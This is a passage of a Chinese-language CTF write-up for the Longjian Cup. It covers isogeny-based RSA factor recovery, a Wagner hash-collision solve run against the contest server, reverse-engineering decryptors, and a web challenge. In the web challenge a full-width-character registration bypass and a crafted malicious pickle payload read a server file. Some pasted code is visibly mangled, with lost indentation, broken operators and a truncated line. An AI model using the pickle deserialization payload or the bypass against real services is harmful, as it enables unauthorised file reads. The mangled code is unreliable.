291036999904822898890947184847566662778851067720045002167804383382536996094057480365209468259689208501353914261281683700218777176*i + 539092563442749086263585913166315481480691580838475772054416012661004336319449088123382537781168404956091625955999526507570400798), (1584408677242556036606226683702622623847661913679401964071784558488323733671222501262343325469367663066132866606013624673123839446*i + 889055102916095087424218597856853164244217337540958267643992711481132613917577804060944603683695268697326635181269530693644018053, 170742679183577286256250563689025439440820558371841190403098354389562507416346002369250566506213116504951411360793867088005320068*i + 300354166889436788694092147888167435754308883249304431074498528063054500536896008228800676682906660641969675283863129603797859036)], [(453737626375613253035831853180168910412826216929143592337986458335700181986885718104554758761851500413725001128489583886277235336*i + 217309883383207496775305781610499754683845771681830216230277006967832495334492078582541224281807319032823834205590283373843059621, 999916931521031935103822544407031178624712881006859135992230844817037067247296266503499143838305062547492653796102147885472116177*i + 1233488191764520103778463176772497488413637832950281894291815016585258115206591568753527862055444325639960909071634370480759809034), (190889289100231458347094336678104865520498212692431798048998945569962453620075652196575605710990463076446722884411621643908789988*i + 1274159991970033962820304736102049020546526275093395883643395641314486788024311129262218553705633893626805034971305570280402722926, 1534704288588107579215315487249674808766255894984589359220303712811734260064417558993612861913024247598036712677527486141306549423*i + 188827457680285663833622971426516515743836732630535296166914065497960551263652758299412971739747640208932486471745283983703321407)], [(223722978080134751651290351466367877633638593664103929945855607805839832580194309124482469497111312400024131499894040918051235397*i + 1235602897534796611200869062863056219840014275143592333511258744111477216195414842550751041844364819443997608885228182627648698159, 1019905759929761969253316555582071621280220928458855484619367030955239167533885814365653921811593639221209634184333639405190748784*i + 826065851457085861173605722356850854091445482104411081397672942625410106536307055837492033198326947863413756839215404332099934722), (1363714303898444035426283671098698287416153660797281767636477738856824618868454935647465582895882193714898735992301832003817514384*i + 565202434777817789522114408088292312661248224948482771231643383445632873861129315747443524232008836016307784683332250270953103215, 731347722240523138059844173615030550577720780225867505462389701758754502678938951102304939757288850823505040835467265986368666245*i + 672731120441284830975330602687594703085785626686542509512724106597370876589450735963417834142046152157608195036767401427209719146)], [(823132481107620512006342380510412361079355863060146917876033561491825545774217154803218681622962113461953095202371555650470889430*i + 894132852163261815405377139942095291394124540563981343045197627603392696414754191759700894097222443353176646446496551541423834859, 392089983604269810994367720408954774757246426935019258541034679804552974050110274613803604710112001598948764187261110429134445663*i + 1085393915105037853097632106840629309098204692567300162306657945302511262037944457530674751125937542592859014119069401524170347257), (792024998602637801018282701558338764402763529247778239594133275529043825372252949515457292595304356039306387037627690805743342764*i + 168871907222317013827047610912144392931498932863564899223032207442554047077502334097243845180846213324830359071389668337227381654, 512047586616930687279394605348511062720706395936653458454227849694050414273035536555181474980752502775812954755426560962526904456*i + 690296433579012090318615390602775189601249014577776107139299120125088066148380898161347630485815696651981803057342800248003347337)], [(785512857449050486600695875903553942719467412285981043281244485764991325098893382354605475840443577095945201687965154497923468825*i + 256765404056360486217655889667153606713611274769514788368527298322361641981982157879721711426624854722246572244210633437061084294, 240787243301323346986383540818931084116260836387994310794562292309390601558928375539835445344041460110423940398922860362590395938*i + 417364463387059392163749598309687433634553821679338895957240035603710883741134605775570304336621853013415907234585124397760678891), (549574388168108663395252197593248533193928535273499023159393817447166908793672587289582756445729584180800044155859242081440466668*i + 1466754703897530652694503749816014166279771620251830036622571500416775998908307226156660046147156738716755452634724783881565335112, 423579915296232799651199051370227300470320392687042592852688209828736316828645358176398380256609973638593560359626295602511673427*i + 715274451770606795407540158790213371265732716866366919298465010379033779727057811496007197963870466049121842453991336264127156699)], [(10200703448658147695920064789331123126206863511798102944274261709044329053242512490914891261796681064456576445085566771495313058*i + 110570312210986217956806858970391822726559739257907771314437367560103450415101665163733850486570162011163705250363495661496512267, 136840834455972893854128909127032093530854162049952179054546875202089193118052915872502299171036330870071870111367444578110919843*i + 1325774974685456647481643180291714388478577797480933432153099107196254599501368994804578851226179588191225759550852254053313190953), (951495512707611473502632989366452440284958434903668336792114376966275454755431656509618647104416278000420634743285559803133418154*i + 339056631772840691852972522376922638964468682167176285251526568209129449911056916359382820049777779044724028623135254289634318002, 425545294296199212125439371966546472291632516664802934824854198742750436898890294247655989818792805339809006875155645185480700168*i + 708726473923759624240398397359191078005531891133112107768104182985182520526668445980618300293138880766426691005225536067238242560)], [(99952442381768325735560426048550761016514606611497294294447597711182496215392841181291987888979095808079171347995703223039829862*i + 58245870919402563117499716573208792928273510773845376237844154645175978924421111707766394375888404608234190234595328450575302853, 513994449554861683836338914183688851705433899895178815165342789715095219605825485672802899761359120887579008458207444602259997820*i + 498050865693003249085377201510201191723606774082572109550384609498651857818669668690495183830362020391775554589325533055932318549), (362573123922268033772872326354352103560831138477112635760118803154812472267038409767796421988234351557513203246854463301861788847*i + 557433171137502882663904301785960084917639768847740878823088483468769771696061686047705974678342474204219734194916040247760652424, 1445495852144087089447578083251704610753787351200093692513080430752629494404796956398696817735492325800982865438538822374661103734*i + 1584287827126429957556337146302840546044670756375546596199706511607025934877260096096860972299003621746844039666321606350502589934)], [(975665425047159273516226977946337144001735269950548484592456874662361718327145111371233531001505697512586790767310124063357406276*i + 236068970708682340091416404673078997633304017051716061113916972869287205660024439676807292597982133202065877030402435823393850216, 1224405826398583181060710395026110380278070440733655439997319827919475993093139088623906240586036894805656808969395575522542224098*i + 1433841869768596477815858863464791584759289311554072473127333883967874805856589964034727757124675838248056158678512499624432712154), (1259694576969833321034471231528891121926643269365533077662582324987042506375629004570031697296512566870743627998798496272805648857*i + 276613454992657553233306841959677256595279140005180573382941022138818358347205252194660975190097136523770399411084204623802633813, 1073058207135424023443121001408610188528793079693378776190881309786926162476913538448114146139936791491743248556095003375124179018*i + 724704748344595115807988626216963425459783168966542353886179164892266203220096758630111397573999813952116124953568658284271095186)], [(1122274209986026571657201591126534667736888457655978349674340985200819404078461721439322600522650942417669822129757603927183583031*i + 1431684248296920271737133937153074962018304340515070960559068515496176178667062010120413751009694035469094018369860470856103909055, 53669945823437193412421175480651498283099757182390878154898568271614256584280094344511441497207065981536083028667661275539679508*i + 108152841277017998447788172025021538012268631645873596243876311252127020484798413017200132124459204578454371823135832932628435226), (3503980504089183648531744713711434347337086509209480448031483760374982323755654026329464345447361106489051944156422041568855021*i + 729116972800885581893988647046330061439685902115147249642220066618719477091345077442284683706438591094327832551591860444508753033, 1253329295139046861735829033217148375972035226831563654178330773130277650015498021967019240016045686777289379695150794585045541249*i + 764915918765828635420696795846037540745945935122579860805516196559359300140884489595978705967816039484931829721964432137636000402)], [(1524558412947800281758227448780348675477919458749096169544724483862419549410410485482608021446740132292346936854735543023102800018*i + 1577496757250989283601784988671426045278541885472956442903248943437146175849655025842405681514258435074894089069715031856952922048, 124595822428522643775665328480128829742635583303705701455572519880041803130087479598441233804695152975268369999835341560113587124*i + 593827187929923648833203014388098647070391961481244348272075239809621259918537198548541297208823160033208339856973646724874185528), (995494094275705765426864530977416706983965202804012224429297652362871461091974494583128271062844606004591861919343951080585251854*i + 316327049984212403691970417151346806480405823173686162168831252635592296238664735595060261599734111115286404170232128163793661352, 1509375307459089590046033487784123248465363740671268246383458473504692297822128259205686002200960418893843451463896257708988748485*i + 33595242734677792360751308352729963450890986144567435923043860138605264745563785709020492716395227491614474438487759150507159440)]]

# 计算 P 和 Q 的 Weil 配对
A_pairing = P_point.weil_pairing(Q_point, p + 1)

# 存储恢复的字节数据
recovered_bytes = []

# 处理每个 gift 数据
for idx, (phiP_coords, phiQ_coords) in enumerate(gift_data):
print(f"Processing gift {idx + 1}/{len(gift_data)}")

# 解压坐标
phiP_x, phiP_y = phiP_coords
phiQ_x, phiQ_y = phiQ_coords

# 重建同源像曲线 E'
try:
# 使用两个点解出曲线参数
curve_a = (phiP_y 2 - phiP_x 3 - (phiQ_y 2 - phiQ_x 3)) / (phiP_x - phiQ_x)
curve_b = phiP_y 2 - phiP_x 3 - curve_a * phiP_x
except ZeroDivisionError:
# 处理特殊情况:当两个点有相同的 x 坐标时
curve_a = 0
curve_b = phiP_y 2 - phiP_x 3

# 定义同源像曲线 E'
E_prime_curve = EllipticCurve(F, [curve_a, curve_b])

# 创建点对象
phiP = E_prime_curve(phiP_x, phiP_y)
phiQ = E_prime_curve(phiQ_x, phiQ_y)

# 计算 Weil 配对
B_pairing = phiP.weil_pairing(phiQ, p + 1)

found_valid_byte = False
# 枚举可能的字节值 (1-255)
for x_byte in range(1, 256):
# 计算 A^(2^a * x_byte)
exponent = 2 ** a_val * x_byte
A_exp = A_pairing ** exponent

# 比较 Weil 配对值
if A_exp == B_pairing:
print(f"Found byte: {x_byte} for gift {idx}")
recovered_bytes.append(x_byte)
found_valid_byte = True
break

if not found_valid_byte:
print(f"Warning: No valid byte found for gift {idx}")
recovered_bytes.append(0) # 用0占位

# 组合恢复的字节为整数 pp (小端序)
pp_integer = Integer(0)
for i, byte in enumerate(recovered_bytes):
pp_integer += byte << (8 * i)

print(f"Recovered pp = {pp_integer}")
#Recovered pp = 27207435736950061547456672520784196712661628703713092478296782243680820523644580625482694176239818289787230379498506056859972841963205445234205604701039609576447099004691984901812381984143060708159208129987067048044613703698484263670853967452701808241667901272287554782781666587212404407778784241289423772151
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
n = 1702964505167542294309894624134040051985456000751301895681450703711209123273929347840767189769333598802007931175534183099577982055982094813045245735950771056151798358709294596212693586845327740981840974734260947504192849082082247982531638166723519817368621543647358361718962016975501235560072299206879455551179363257011645248897834786135688841937320538329157671950684987955303502005404340327657787221436015711630895743615195023754086594138352253842575921303048726058807135221950653758612234421493377641405846466416194921001135032171697695572842723082164349170706748881797912294462023414297556608213847345725952421549
pp = 27207435736950061547456672520784196712661628703713092478296782243680820523644580625482694176239818289787230379498506056859972841963205445234205604701039609576447099004691984901812381984143060708159208129987067048044613703698484263670853967452701808241667901272287554782781666587212404407778784241289423772151
e = 65537
c = 1029114088686337892631302678503751809542083988891442035793586975372895407547705418982466289898928319560409880414514578474791488427127025559202986548834389826420682378231639934214095320267479088288097862850583409973649066883523716495624685075221287755197089845642475957655326217081767651038275947961474613737339181490066613632071544485135542705782597487288176673605371342372887413483451432315489970957375439078944009120957142560963596958126921713605049998752504003069481700268168699099735284558580028754084228031725395039694427728930164273683375216610222208763440193601962605329874384315938196365292841272339652972630

from Cryptodome.Util.number import *

q = n//pp
phi = (pp-1)*(q-1)

d=pow(e,-1,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

#b'flag{S1mple_Is0geNy_7r1ck_t0_Recov3r_Fla9}'

2.Prover

3.HashBaseWorld

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from binascii import hexlify, unhexlify
import hashlib
import wagner
import random

x = "aa bbccdd" + 'a' * 118
y = "aabb ccdd" + 'a' * 118
z = "aabbcc dd" + 'a' * 118

sh = remote("pwn-4a82856d5b.challenge.longjiancup.cn",9999, ssl = True)

sh.recvline()
sh.recvline()
sh.sendlineafter(b"x:", x.encode())
sh.sendlineafter(b"y:", y.encode())
sh.sendlineafter(b"z:", z.encode())
sh.recvline()

YOUR_SUFFIX_HEX = str(sh.recvline().strip().decode().split('with')[-1]).strip()
print(YOUR_SUFFIX_HEX)
YOUR_SUFFIX_BYTES = unhexlify(YOUR_SUFFIX_HEX)
n = 4722366482869645213711

def hashfunc_with_suffix(r, n, index):
r_bytes = r.to_bytes((int.bit_length(n) + 7) // 8, 'big')

preimage = r_bytes + YOUR_SUFFIX_BYTES

h = hashlib.sha3_512(preimage).digest()
return int.from_bytes(h, 'big') % n

def generator_with_suffix(n, index):
r = random.randrange(0, n)
hash_value = hashfunc_with_suffix(r, n, index)
return wagner.Lineage(hash_value, r)

if __name__ == "__main__":
print("正在使用 Wagner 算法寻找满足条件的哈希输入...")
r_values = wagner.solve(n, tree_height=3, generator=generator_with_suffix)
sendmsg = []
for r in r_values:
r_hex = hexlify(r.to_bytes((int.bit_length(n) + 7) // 8, 'big')).decode()
final_message_hex = r_hex + YOUR_SUFFIX_HEX
print(f"msg: {final_message_hex}")
sh.sendlineafter(b"msg:", final_message_hex.encode())
print(sh.recvline())
print(sh.recvline())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
C:\Users\jerry\AppData\Local\Programs\Python\Python313\.venv\Scripts\python.exe E:\CTF\比赛\陇剑杯\项目\temp.py 
[x] Opening connection to pwn-4a82856d5b.challenge.longjiancup.cn on port 9999
[x] Opening connection to pwn-4a82856d5b.challenge.longjiancup.cn on port 9999: Trying 61.147.172.154
[+] Opening connection to pwn-4a82856d5b.challenge.longjiancup.cn on port 9999: Done
e38b48a04c0f1151
正在使用 Wagner 算法寻找满足条件的哈希输入...
msg: 00944b8cc84840e2ef69e38b48a04c0f1151
msg: 002721ad0c6b9ecf2c1de38b48a04c0f1151
msg: 00f78908f0852d4d200ce38b48a04c0f1151
msg: 00d7d8a959ebe009e692e38b48a04c0f1151
msg: 0061f5a73725fc05bf9ce38b48a04c0f1151
msg: 00b4ebcb865e9240a011e38b48a04c0f1151
msg: 0048320f3874ea5f2efbe38b48a04c0f1151
msg: 004311a95bc5f6ff53a0e38b48a04c0f1151
b' good job\n'
b'flag{mQNkCvanAJYfvHKuJFppjhuGExD2VIHn}\n'
[*] Closed connection to pwn-4a82856d5b.challenge.longjiancup.cn port 9999

进程已结束,退出代码为 0

4.forge

全角绕过注册

admin

随后

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

class CHIKAWA:
def __init__(self):
pass

a = CHIKAWA()
a.model_name = "mingzi"
# 将Unicode转义替换为对应的ASCII字符
a.data = b'c__builtin__\ngetattr\np0\n(cpathlib\nPath\np1\nVread_text\np2\ntp3\nRp4\n(cpathlib\nPosixPath\np5\n(V/fulltag\np6\ntp7\nRp8\ntp9\nRp10\n.'
b = pickle.dumps(a)
with open("test.pkl", "wb") as f:
f.write(b)

提交pkl即可

5.Lesscommon

使用硬编码密钥0x67452301, 0xEFCDAB89…(对应原始程序的v33数组),通过密钥扩展函数生成S盒。该函数先将密钥字节逆序打包为DWORD数组,再用魔数0x696E7469和常量0x54B0DA47初始化S数组,最后进行3*max(S_len,L_len)轮混合操作。采用12轮Feistel网络结构,每轮包含两次ror32位移和减法操作(对应加密的逆过程)。解密时先处理8字节块,对密文进行反向轮函数计算,最终减去S[0]和S[1]得到明文。解密后自动检测PKCS#7填充(1-8字节的填充值),并去除填充获得原始flag。从二进制文件提取unk_14002D420处的真实48字节密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import struct

def u32(x):
return x & 0xFFFFFFFF

def key_schedule(key_bytes: bytes, S_len: int):
L_len = (len(key_bytes) + 3) >> 2
L = [0] * L_len
for i in range(len(key_bytes) - 1, -1, -1):
L[i // 4] = u32((L[i // 4] << 8) + key_bytes[i])

S = [1766649740] + [0] * (S_len - 1)
for j in range(1, S_len):
S[j] = u32(S[j - 1] + 1422508807)

v15 = v16 = idxS = idxL = 0
rounds = 3 * max(S_len, L_len)
for k in range(rounds):
v = S[idxS]
S[idxS] = u32(k ^ left_rotate(u32(v15 + v16 + v), 3))
v16 = S[idxS]
L[idxL] = u32(left_rotate(u32(v15 + v16 + L[idxL]), (v15 + v16) & 0x1F))
v15 = L[idxL]
idxS = (idxS + 1) % S_len
idxL = (idxL + 1) % L_len
return S

def decrypt_data(cipherbytes: bytes, S, rounds_count: int):
if len(cipherbytes) % 8 != 0:
raise ValueError("密文长度必须是8的倍数")
out = bytearray()
for i in range(0, len(cipherbytes), 8):
out += decrypt_block(cipherbytes[i:i + 8], S, rounds_count)

pad_len = out[-1]
if 1 <= pad_len <= 8 and out.endswith(bytes([pad_len]) * pad_len):
return bytes(out[:-pad_len])
return bytes(out)

def decrypt_block(block8: bytes, S, rounds_count: int):
v15, v13 = struct.unpack('> (32 - n))) & 0xFFFFFFFF

def right_rotate(x, n):
n = n & 0x1F # 确保 n 在 0 到 31 之间
return ((x >> n) | (x << (32 - n))) & 0xFFFFFFFF

if __name__ == "__main__":
key_bytes = struct.pack('<4I', 0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476)
cipher_bytes = bytes([
0x4C, 0x6F, 0xAB, 0xF3, 0x13, 0x78, 0xE2, 0xF6, 0x86, 0x9D, 0x1C, 0x99, 0xDE, 0x85, 0xCC, 0x10,
0xE8, 0x28, 0xEE, 0x05, 0x92, 0x21, 0x4B, 0x34, 0x43, 0x28, 0x17, 0x3C, 0x56, 0x5B, 0x73, 0x51,
0x9F, 0x8A, 0x1D, 0x0F, 0x97, 0x34, 0x2C, 0x56, 0x42, 0x9F, 0x69, 0x48, 0xA3, 0xD5, 0x8A, 0xF5
])

rounds_count = 12
S_len = 2 + 2 * rounds_count
S = key_schedule(key_bytes, S_len)

plain = decrypt_data(cipher_bytes, S, rounds_count)
print( plain.hex())
print(plain.decode('utf-8', errors='replace'))

6.Dragon

拿到程序先die一下

定位main函数,可以看得出来主要在检验

这边先是在要求用户输入相关的字符

接下来这边通过函数指针调用输入处理函数,参数 v7是存储用户输入的缓冲区,256i64是输入长度上限,v3可能是与输入环境相关的参数(如标准输入句柄)。函数负责读取用户输入并存储到 v7中,同时处理长度等约束。

并且将得到的和内置函数进行对比

对比成功了最后再输出结果

重要的是在静态分析中,我们点开140019350后在内存地址 unk_140019360处发现了一组关键数据——长度44字节的数组。结合程序后续比对逻辑推测,这组数据极可能是来验证的。

提取该地址的原始数据后,得到一组十六进制值。后续分析证实,这44字节正是程序验证的核心依据。

进一步深挖数据含义时,我们注意到44字节的排列暗藏玄机:实际存储的是 11个4字节整数,且采用小端序格式(即低字节在前)。例如,若内存中连续存储字节序列 0x61,0x62,0x63,0x64,对应的整数值应为 0x64636261

同时,程序对用户输入的处理逻辑逐渐清晰——用户输入的字符串会被按规则转换为同样格式的整数数组,再与这11个基准整数逐一比对。

基于上述分析,我们反向推导输入格式:需要构造一个字符串,经程序处理后能生成与基准数组完全匹配的11个整数。通过逐一解析基准整数的字节排列,结合字符串编码规则(,最终拼凑出符合要求的输入。

得到flag{cbee3251-9cff-4542-bf15-337bb8df7f3f}

输入后回显成功,得解